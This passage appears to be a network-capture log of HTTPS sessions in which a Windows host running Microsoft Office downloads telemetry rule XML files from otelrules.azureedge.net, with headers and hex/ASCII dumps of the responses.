2024-10-29 03:53:23 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49891	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:23 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:23 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: d17b1da0-901e-0064-5127-26e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035323Z-r197bdfb6b4c8q4qvwwy2byzsw000000065000000000p07v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:23 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49893	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:23 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:23 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:23 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035323Z-16849878b78smng4k6nq15r6s400000007k0000000004gcm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:23 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49894	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:23 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 44b69168-a01e-0098-3739-288556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035323Z-15b8d89586ff5l62aha9080wv0000000076g00000000f9m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49895	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:23 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:23 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035323Z-16849878b78p8hrf1se7fucxk800000006z00000000005m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:23 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49896	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:23 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:23 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035323Z-16849878b786lft2mu9uftf3y400000007a0000000003kn7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:24 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49897	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:23 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:23 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: e4ad7cd9-001e-0079-1b67-2712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035323Z-17c5cb586f62blg5ss55p9d6fn00000006mg00000000es3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:24 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49898	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:24 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:24 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 2d9e7036-b01e-0097-31a8-264f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035324Z-17c5cb586f6w4mfs5xcmnrny6n00000007pg00000000abps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:24 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49899	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:24 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 8be2881b-101e-008d-3d2e-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035324Z-15b8d89586flspj6y6m5fk442w0000000bw0000000003q1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49900	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:24 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: eab3762f-c01e-0014-292f-28a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035324Z-r197bdfb6b4qbfppwgs4nqza8000000004m000000000ahhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:53:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49901	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:24 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:24 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035324Z-16849878b782d4lwcu6h6gmxnw00000005m000000000kd4u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:24 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49902	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:24 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:24 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 8e66950d-f01e-0003-769c-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035324Z-16849878b78qwx7pmw9x5fub1c000000043000000000dw9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
